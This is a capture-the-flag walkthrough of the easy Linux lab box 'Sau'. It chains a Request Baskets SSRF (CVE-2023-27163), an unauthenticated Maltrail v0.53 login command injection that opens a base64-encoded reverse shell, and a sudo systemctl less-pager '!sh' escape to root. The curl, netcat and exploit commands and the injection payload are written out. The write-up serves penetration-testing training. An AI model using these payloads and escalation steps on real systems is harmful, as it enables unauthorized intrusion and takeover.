Sau

Jun 02, 2026 Easy

Introduction

Sau is an easy Linux box, and it is a very clean example of chaining three small, well-scoped bugs into root. Nothing here needs a custom exploit or memory corruption; each stage is “known software at a known vulnerable version”.

The chain: the only web app we can reach is Request Baskets 1.2.1, which has an SSRF (CVE-2023-27163). We use that SSRF to punch through the firewall and reach a port that nmap reported as filtered. Behind that port sits Maltrail v0.53, which has a trivial unauthenticated command injection in its login page, giving us a shell as puma. Finally, puma is allowed to run systemctl status under sudo, and because systemctl pipes long output through the less pager, we drop into a root shell with a single !sh.

It is a great box for one specific habit: a filtered port is not a closed door, it is an invitation to find something on the box that can reach it for you.

Enumeration

Service Discovery

BASH
sudo nmap <target_ip> -p- --min-rate 3000 -T4 -oN scans/all-ports.nmap
# then a scripted scan on what came back
sudo nmap <target_ip> -p 22,80,8338,55555 -sC -sV -oN scans/service-scan.nmap
BASH
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp    filtered http
8338/tcp  filtered unknown
55555/tcp open     http    Golang net/http server
|_http-title: Request Baskets
|_Requested resource was /web

This scan result is the whole box in miniature:

  • 22 is SSH, no way in yet.
  • 80 and 8338 are filtered, meaning a firewall is dropping our packets. Something is almost certainly listening there, we just cannot reach it from outside.
  • 55555 is an HTTP service titled Request Baskets, redirecting to /web.

So the plan writes itself: if I can find an SSRF in the thing on 55555, I can use the server itself to talk to the filtered ports 80 and 8338.

Fingerprinting Request Baskets

Browsing to http://<target_ip>:55555/web shows the app footer:

TEXT
Powered by request-baskets | Version: 1.2.1

Request Baskets is a tool for collecting and inspecting HTTP requests, and it has a forwarding feature: a basket can forward incoming requests to another URL. Version 1.2.1 is vulnerable to CVE-2023-27163 (advisory GHSA-58g2-vgpg-335q): the forward/proxy feature can be pointed at internal addresses, turning the server into an SSRF proxy.

Foothold

SSRF through a forwarding basket (CVE-2023-27163)

The abuse is straightforward once you see the forwarding options. I created a basket and configured it to forward to the internal service on port 80, with the proxy options that make it return the response back to me.

Via the web UI: create a basket (I named it test), open its Settings, and set:

Setting Value
Forward URL http://127.0.0.1:80
Proxy Response ✅ enabled
Expand forward path ✅ enabled

The same thing over the API looks like this:

BASH
# 1) create the basket, capture its token
curl -s -X POST http://<target_ip>:55555/api/baskets/test | jq -r .token

# 2) point it at the internal service with proxying on
curl -s -X PUT http://<target_ip>:55555/api/baskets/test \
  -H "Authorization: <token>" -H "Content-Type: application/json" \
  -d '{"forward_url":"http://127.0.0.1:80/","proxy_response":true,"insecure_tls":false,"expand_path":true,"capacity":250}'

Proxy Response makes the server hand us the internal reply, and Expand forward path lets paths under the basket map onto the target (so /test/login becomes /login internally). Now visiting the basket serves whatever is on the filtered port 80:

BASH
curl http://<target_ip>:55555/test

The filtered port is no longer a problem: the internal site loads, and its footer reads Powered by Maltrail (v0.53).

Maltrail v0.53 unauthenticated RCE

Maltrail v0.53 has a well-known unauthenticated OS command injection: the login endpoint does not sanitise the username field, so a payload there is executed by the server. There is a ready PoC by spookier.

I started a listener, then ran the exploit against the basket URL so the injection is proxied to the internal Maltrail through our SSRF.

BASH
# listener
nc -lvnp <listener_port>

# exploit: LHOST LPORT  <basket URL that proxies to internal Maltrail>
python3 exploit.py <attacker_ip> <listener_port> http://<target_ip>:55555/test
Running exploit on http://<target_ip>:55555/test/login

Under the hood the exploit just posts a command-injection payload to /login:

TEXT
username=;`echo <base64 reverse shell> | base64 -d | bash`

The listener catches a shell as puma. That is the user flag.

BASH
puma@sau:/opt/maltrail$ id
uid=1001(puma) gid=1001(puma) groups=1001(puma)

Privilege Escalation — sudo systemctl + less pager

First thing on any shell: sudo -l.

BASH
puma@sau:/opt/maltrail$ sudo -l
User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service

puma can run systemctl status as root with no password. On its own that looks harmless, but systemctl status sends its output through a pager (less) when the output is longer than the terminal. And less, per GTFOBins, lets you spawn a shell from inside it. Because systemctl was launched by sudo as root, that shell is a root shell.

BASH
sudo /usr/bin/systemctl status trail.service

Once the pager opens (if it does not, shrink the terminal so the output overflows and paging kicks in), type:

TEXT
!sh

And we are root.

BASH
# whoami
root
# cat /root/root.txt

Machine rooted.

Attack Chain Recap

TEXT
nmap                              ->  55555 Request Baskets 1.2.1 ; 80 + 8338 filtered
CVE-2023-27163 (SSRF)             ->  basket forwards to http://127.0.0.1:80 (proxy_response + expand_path)
reach internal port 80           ->  Maltrail v0.53
Maltrail login command injection ->  reverse shell as puma
sudo -l                           ->  systemctl status trail.service (NOPASSWD)
systemctl -> less pager -> !sh    ->  root

Key takeaways

  • filtered means “reach it from the inside”. The entire foothold existed only to get packets to a port the firewall was blocking. When you see filtered, start looking for an SSRF/proxy/redirect on a port you can reach.
  • Version strings are the exploit. Request Baskets 1.2.1 and Maltrail v0.53 both map straight to public CVEs. Reading the footer was faster than any fuzzing.
  • Chain the SSRF into the next exploit, do not stop at “I can see it”. Pointing the Maltrail exploit at the basket URL, rather than trying to hit port 80 directly, is what actually delivered the shell.
  • sudo on anything that pages is sudo on a shell. systemctl, less, more, man, journalctl: if it can open a pager as root, !sh is game over. Always check GTFOBins for the exact binary.

References